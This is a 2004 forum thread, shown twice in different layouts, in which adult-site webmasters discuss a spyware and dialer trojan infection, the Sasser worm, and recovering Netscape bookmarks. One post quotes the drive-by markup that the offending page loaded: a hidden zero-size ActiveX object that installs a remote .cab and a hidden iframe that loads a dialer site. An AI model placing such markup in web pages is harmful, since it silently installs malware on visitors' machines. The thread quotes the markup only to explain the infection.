I'm Back...after a Format C

Ramster · 2004-05-01, 11:50 AM

Yup, damn trojan got me.
Not a virus, trojan and spyware for porn dialers redirecting me to their web sites and search sites. Used SpyHunter and CW Shredder and it got rid of it all but it also took a few of my drivers. So after getting most of my important items onto my D drive, I just formatted the damn thing.

If you ever come across a url 008k.com, hit ALT F4 as fast as you possibly can. |raygun|

Torn Rose · 2004-05-01, 11:56 AM

Fuck I hate that shit.|raygun|

Welcome back!

Cleo · 2004-05-01, 11:57 AM

Looks like the exit console on that page loads this.

"<OBJECT ID=\"MediaTicketsInstaller\" WIDTH=0 HEIGHT=0 CLASSID=\"CLSID:9EB320CE-BE1D-4304-A081-4B4665414BEF\" CODEBASE=\"http://www.mt-download.com/MediaTicketsInstaller.cab#Version=1,0,0,001\" onError=\"err();\">";

AND this

<iframe width=0 height=0 border=0 src="http://d.dialer2004.com/?paxan"></iframe>

Fucking assholes :(

Surfn · 2004-05-01, 12:04 PM

That explains the telephone message on ICQ.

Glad you got it straightened out.

Ramster · 2004-05-01, 12:24 PM

Cleo, more popups hit than I care to remember. I thought I had it all but didn't.

Here's what I had on my system:
WMPLAYER.exe (the main trojan imbedded here, a CSW something), EUEE.exe, Optimizer.exe, DyFuCa, XXXToolbar, Blnet.exe, NCase.exe, RPCSS.exe, IST_INSTALL.exe, BDL14025.exe and couple more but I didn't write them all down.

Worst thing is I have a popup blocker since I started using IE (always used Netscape before) but for reviews I disable it.

Ramster · 2004-05-01, 12:33 PM

And thanks for the well wishes too btw.

dareutwo · 2004-05-01, 03:36 PM

Welcome back

Sounds like you have more than 1 partition like I have.
I use 2 HD's with 6 partitions.
C, M and P drives on the original hard drive.
D: is the C/D -
M is for music and P is for program file exe's to re install.
X, Y and Z on the largest hard drive.

Keep back ups, and anything important OFF the C Drive.

If you get a virus, such as this, simply reformat the C: drive, (yeah it sucks but hey) you won't lose anything important, like back ups.
You'll have to reinstall all your program files - but the set up files should be on another drive, like drive P - so just click and install.
(oh, and keep a text file of the license or install numbers)

It still sucks the big one - but in an afternoon, you'll be back and running.

Linkster · 2004-05-01, 03:58 PM

Well - Ive been fighting the new Win32.Worm.Sasser.A all night and day - have no friggin idea how I got it but found out there's a new sec patch for XP out that gets rid of the exploit - symptoms are seein a file called ****_up.exe running in your task manager where **** are a group of numbers - it replicates itself hundreds of times. My virus software co. just got the update fix today for the live sheild, as it's just coming out but its nasty. The other symptom is it takes over TCP ports, takes over the Lsass system and if you try to delete the running file, shuts down your computer so it replicate itself again on startup

DangerDave · 2004-05-01, 04:34 PM

Wb Ramster;(

008k is another little present from our friends at CoolWebSearch

Someone ought to hunt those ^&#$& down... !

DD

Torn Rose · 2004-05-01, 04:36 PM

I swear, at time's I just want to shut down the pc and leave it off out of fear.

MrMaryLou · 2004-05-01, 04:43 PM

It seems even running a full shields has no effect

On some of this crap

Ramster · 2004-05-01, 06:39 PM

Quote:

Originally posted by DangerDave
Wb Ramster;(

008k is another little present from our friends at CoolWebSearch

Someone ought to hunt those ^&#$& down... !

DD

Yup, got redirected to that page every few minutes.

dareutwo
Yes I have several drives and backup all my important programs over there. I actually tried moving Netscape over there because I have ALL my TGP submit pages boomarked via Netscape but after the format and moving Netscape back it wouldn't work.

Anyone have any idea how to access the bookmarks from a browser moved from C drive to D and is still sitting there in D? LOL

Surfn · 2004-05-01, 07:59 PM

Use the import function.

DangerDave · 2004-05-01, 08:08 PM

Quote:

Originally posted by Ramster
Anyone have any idea how to access the bookmarks from a browser moved from C drive to D and is still sitting there in D? LOL

Use Netscape.

Ya just copy the pages... bookmark.htm etc

In IE... "I think" ya can copy the folder over to c:\ Documents and Settings\xxxxxxxx\Favorites

One of the best things to do... is back your bookmarks up to the web occasionally... it's a good backup, and you can access them from ANYWHERE..

DD

Ramster · 2004-05-01, 09:55 PM

Quote:

Originally posted by DangerDave
Use Netscape. Ya just copy the pages... bookmark.htm etc
DD

There a few bookmark.htm pages in there but they all look like the default bookmark page. Definately not my bookmarks.

Oh well, I'm starting to gather my bookmarks again.

Cleo · 2004-05-01, 10:19 PM

Quote:

Originally posted by Ramster
There a few bookmark.htm pages in there but they all look like the default bookmark page. Definately not my bookmarks.

Oh well, I'm starting to gather my bookmarks again.

Can't you do a search for a string of text inside a file, say the URL of one of your bookmarks, to find your bookmark file?

Ramster · 2004-05-02, 11:27 AM

Bookmarks are not stored in any of the Bookmark.htm html files. As a matter of fact, I looked in C:\Program Files\ at my current Netscape program where I DO have bookmarks again slowly and THAT Bookmark.htm is the same, still full of default settings or something.

The actual bookmarks must be stored in some data file somewhere but I can't find it. I am slowly getting all my bookmarks back so it's not that big a deal.

DangerDave, go take a look at your Bookmark.htm page in your ProgamFiles folder.

Cleo · 2004-05-02, 11:37 AM

I always thought that Windows did the same thing as a *nix, like a Mac, and stored all the user stuff in the user's home directory.

Safari
~/Library/Safari/Bookmarks.plist

Mozilla
~/Library/Mozilla/Profiles/terri/skmpudk5.slt/bookmarks.html

IE
~/Library/Preferences/Explorer/Favorites.html

Ramster · 2004-05-02, 12:39 PM

Well here's a weird one for you. Bookmarks are not stored in the Bookmark.htm file unless you specify it I guess.

Here's a look at my current bookmarks right now. Notice the red circles are two folders default from the browser upon download.
http://www.superporner.com/bookmarks.jpg

Now here is a look at the current Bookmark.htm file in the program files:
http://www.superporner.com/bookmarkfile.jpg

Those two default folders are the only 2 that show up in the Bookmark.htm folder. Notice ESPN.com? I moved that bookmark into the Personal Toolbar Folder and it shows up.

What's the point of having a Bookmark.htm file if it isn't going to store my bookmarks? LOL

DangerDave · 2004-05-02, 04:38 PM

Hmmmmmm That is odd... but I aint much help.. cause I dont use bookmarks..... that said.....

Ramster.. have you got Mozilla installed as well as Netscape? I just playe wwith my NN bookmarks .. and they appeared in

C:\Documents and Settings\[Win profile name]\Application Data\Mozilla\Profiles\default\ - (Win 2000)

which appears to be my Mozilla profile?

DD

Ramster · 2004-05-02, 06:04 PM

DangerDave, you're onto something there.
That is Exactly where the bookmarks are.

I have both Netscape 7.1 and 4.75 and everything that is showing up on the bookmark.htm page in C\Program Files\Netscape\ is actually from the 4.75 version (God only knows why) which I only used for my mail (long story) so I guess there is no bookmark.htm for the 7.1 version I had since the old C\Documents is gone.

Oh well, the good thing is I almost have all my submit bookmarks back now anyway.

2004-05-01, 11:50 AM	#1
Ramster Life is good Join Date: Apr 2003 Location: Ottawa, Canada Posts: 11,868	I'm Back...after a Format C Yup, damn trojan got me. Not a virus, trojan and spyware for porn dialers redirecting me to their web sites and search sites. Used SpyHunter and CW Shredder and it got rid of it all but it also took a few of my drivers. So after getting most of my important items onto my D drive, I just formatted the damn thing. If you ever come across a url 008k.com, hit ALT F4 as fast as you possibly can. \|raygun\| __________________ Pornstar Legends \| Live Cam Model Shows \| Hungarian Girls Skype: robmurray999

2004-05-01, 11:57 AM	#3
Cleo Subversive filth of the hedonistic decadent West Join Date: Mar 2003 Location: Southeast Florida Posts: 27,936	Looks like the exit console on that page loads this. "<OBJECT ID=\"MediaTicketsInstaller\" WIDTH=0 HEIGHT=0 CLASSID=\"CLSID:9EB320CE-BE1D-4304-A081-4B4665414BEF\" CODEBASE=\"http://www.mt-download.com/MediaTicketsInstaller.cab#Version=1,0,0,001\" onError=\"err();\">"; AND this <iframe width=0 height=0 border=0 src="http://d.dialer2004.com/?paxan"></iframe> Fucking assholes :( __________________ Free Rides on Uber and Lyft Uber Car: uberTzTerri Lyft Car: TZ896289

2004-05-01, 12:24 PM	#5
Ramster Life is good Join Date: Apr 2003 Location: Ottawa, Canada Posts: 11,868	Cleo, more popups hit than I care to remember. I thought I had it all but didn't. Here's what I had on my system: WMPLAYER.exe (the main trojan imbedded here, a CSW something), EUEE.exe, Optimizer.exe, DyFuCa, XXXToolbar, Blnet.exe, NCase.exe, RPCSS.exe, IST_INSTALL.exe, BDL14025.exe and couple more but I didn't write them all down. Worst thing is I have a popup blocker since I started using IE (always used Netscape before) but for reviews I disable it. __________________ Pornstar Legends \| Live Cam Model Shows \| Hungarian Girls Skype: robmurray999

2004-05-01, 12:33 PM	#6
Ramster Life is good Join Date: Apr 2003 Location: Ottawa, Canada Posts: 11,868	And thanks for the well wishes too btw. __________________ Pornstar Legends \| Live Cam Model Shows \| Hungarian Girls Skype: robmurray999

2004-05-01, 03:36 PM	#7
dareutwo You can't disprove anything with evidence that doesn't exist Join Date: Mar 2003 Location: NW Minnesota - pop 865 +/- 1 Posts: 2,038	Welcome back Sounds like you have more than 1 partition like I have. I use 2 HD's with 6 partitions. C, M and P drives on the original hard drive. D: is the C/D - M is for music and P is for program file exe's to re install. X, Y and Z on the largest hard drive. Keep back ups, and anything important OFF the C Drive. If you get a virus, such as this, simply reformat the C: drive, (yeah it sucks but hey) you won't lose anything important, like back ups. You'll have to reinstall all your program files - but the set up files should be on another drive, like drive P - so just click and install. (oh, and keep a text file of the license or install numbers) It still sucks the big one - but in an afternoon, you'll be back and running. __________________ This is me Mark's-Links

2004-05-01, 11:56 AM	#2
Torn Rose "Faith is believing what you know ain't so." ~ Mark Twain Join Date: Aug 2003 Location: Portland, Oregon Posts: 4,806	Fuck I hate that shit.\|raygun\| Welcome back!

2004-05-01, 12:04 PM	#4
Surfn If you don’t take a chance the Angels won’t dance Join Date: Aug 2003 Location: Earth on occasion Posts: 8,812	That explains the telephone message on ICQ. Glad you got it straightened out.

2004-05-01, 03:58 PM	#8
Linkster NO! Im not a female - but being a dragon, I do eat them. Join Date: Mar 2003 Location: Sex Delta Posts: 5,084	Well - Ive been fighting the new Win32.Worm.Sasser.A all night and day - have no friggin idea how I got it but found out there's a new sec patch for XP out that gets rid of the exploit - symptoms are seein a file called **_up.exe running in your task manager where ** are a group of numbers - it replicates itself hundreds of times. My virus software co. just got the update fix today for the live sheild, as it's just coming out but its nasty. The other symptom is it takes over TCP ports, takes over the Lsass system and if you try to delete the running file, shuts down your computer so it replicate itself again on startup __________________ Pussy Chompers Porn Links NSCash

2004-05-01, 04:34 PM	#9
DangerDave Bonged Join Date: Mar 2003 Location: BrisVegas, AUSTRALIA Posts: 4,882	Wb Ramster;( 008k is another little present from our friends at CoolWebSearch Someone ought to hunt those ^&#$& down... ! DD __________________ Old Dollars >>>> Now with over 90 Hosted Free Sites <<<< DangerDave.com.au - Adult Links to Free Porn

2004-05-01, 04:36 PM	#10
Torn Rose "Faith is believing what you know ain't so." ~ Mark Twain Join Date: Aug 2003 Location: Portland, Oregon Posts: 4,806	I swear, at time's I just want to shut down the pc and leave it off out of fear.

2004-05-01, 04:43 PM	#11
MrMaryLou i fucking told i type to fucking fast wtf Join Date: Mar 2003 Location: New York Posts: 11,247	It seems even running a full shields has no effect On some of this crap __________________ <a href="http://www.greenguysboard.com/onthebench/">Join Me For On The Bench </a>

2004-05-01, 07:59 PM	#13
Surfn If you don’t take a chance the Angels won’t dance Join Date: Aug 2003 Location: Earth on occasion Posts: 8,812	Use the import function.

2004-05-02, 11:27 AM	#17
Ramster Life is good Join Date: Apr 2003 Location: Ottawa, Canada Posts: 11,868	Bookmarks are not stored in any of the Bookmark.htm html files. As a matter of fact, I looked in C:\Program Files\ at my current Netscape program where I DO have bookmarks again slowly and THAT Bookmark.htm is the same, still full of default settings or something. The actual bookmarks must be stored in some data file somewhere but I can't find it. I am slowly getting all my bookmarks back so it's not that big a deal. DangerDave, go take a look at your Bookmark.htm page in your ProgamFiles folder. __________________ Pornstar Legends \| Live Cam Model Shows \| Hungarian Girls Skype: robmurray999

2004-05-02, 11:37 AM	#18
Cleo Subversive filth of the hedonistic decadent West Join Date: Mar 2003 Location: Southeast Florida Posts: 27,936	I always thought that Windows did the same thing as a nix, like a Mac, and stored all the user stuff in the user's home directory. Safari ~/Library/Safari/Bookmarks.plist Mozilla ~/Library/Mozilla/Profiles/terri/skmpudk5.slt/bookmarks.html IE ~/Library/Preferences/Explorer/Favorites.html __________________ Free Rides on Uber and Lyft* Uber Car: uberTzTerri Lyft Car: TZ896289

2004-05-02, 12:39 PM	#19
Ramster Life is good Join Date: Apr 2003 Location: Ottawa, Canada Posts: 11,868	Well here's a weird one for you. Bookmarks are not stored in the Bookmark.htm file unless you specify it I guess. Here's a look at my current bookmarks right now. Notice the red circles are two folders default from the browser upon download. http://www.superporner.com/bookmarks.jpg Now here is a look at the current Bookmark.htm file in the program files: http://www.superporner.com/bookmarkfile.jpg Those two default folders are the only 2 that show up in the Bookmark.htm folder. Notice ESPN.com? I moved that bookmark into the Personal Toolbar Folder and it shows up. What's the point of having a Bookmark.htm file if it isn't going to store my bookmarks? LOL __________________ Pornstar Legends \| Live Cam Model Shows \| Hungarian Girls Skype: robmurray999

2004-05-02, 04:38 PM	#20
DangerDave Bonged Join Date: Mar 2003 Location: BrisVegas, AUSTRALIA Posts: 4,882	Hmmmmmm That is odd... but I aint much help.. cause I dont use bookmarks..... that said..... Ramster.. have you got Mozilla installed as well as Netscape? I just playe wwith my NN bookmarks .. and they appeared in C:\Documents and Settings\[Win profile name]\Application Data\Mozilla\Profiles\default\ - (Win 2000) which appears to be my Mozilla profile? DD __________________ Old Dollars >>>> Now with over 90 Hosted Free Sites <<<< DangerDave.com.au - Adult Links to Free Porn

2004-05-02, 06:04 PM	#21
Ramster Life is good Join Date: Apr 2003 Location: Ottawa, Canada Posts: 11,868	DangerDave, you're onto something there. That is Exactly where the bookmarks are. I have both Netscape 7.1 and 4.75 and everything that is showing up on the bookmark.htm page in C\Program Files\Netscape\ is actually from the 4.75 version (God only knows why) which I only used for my mail (long story) so I guess there is no bookmark.htm for the 7.1 version I had since the old C\Documents is gone. Oh well, the good thing is I almost have all my submit bookmarks back now anyway. __________________ Pornstar Legends \| Live Cam Model Shows \| Hungarian Girls Skype: robmurray999 Last edited by Ramster; 2004-05-02 at 06:19 PM..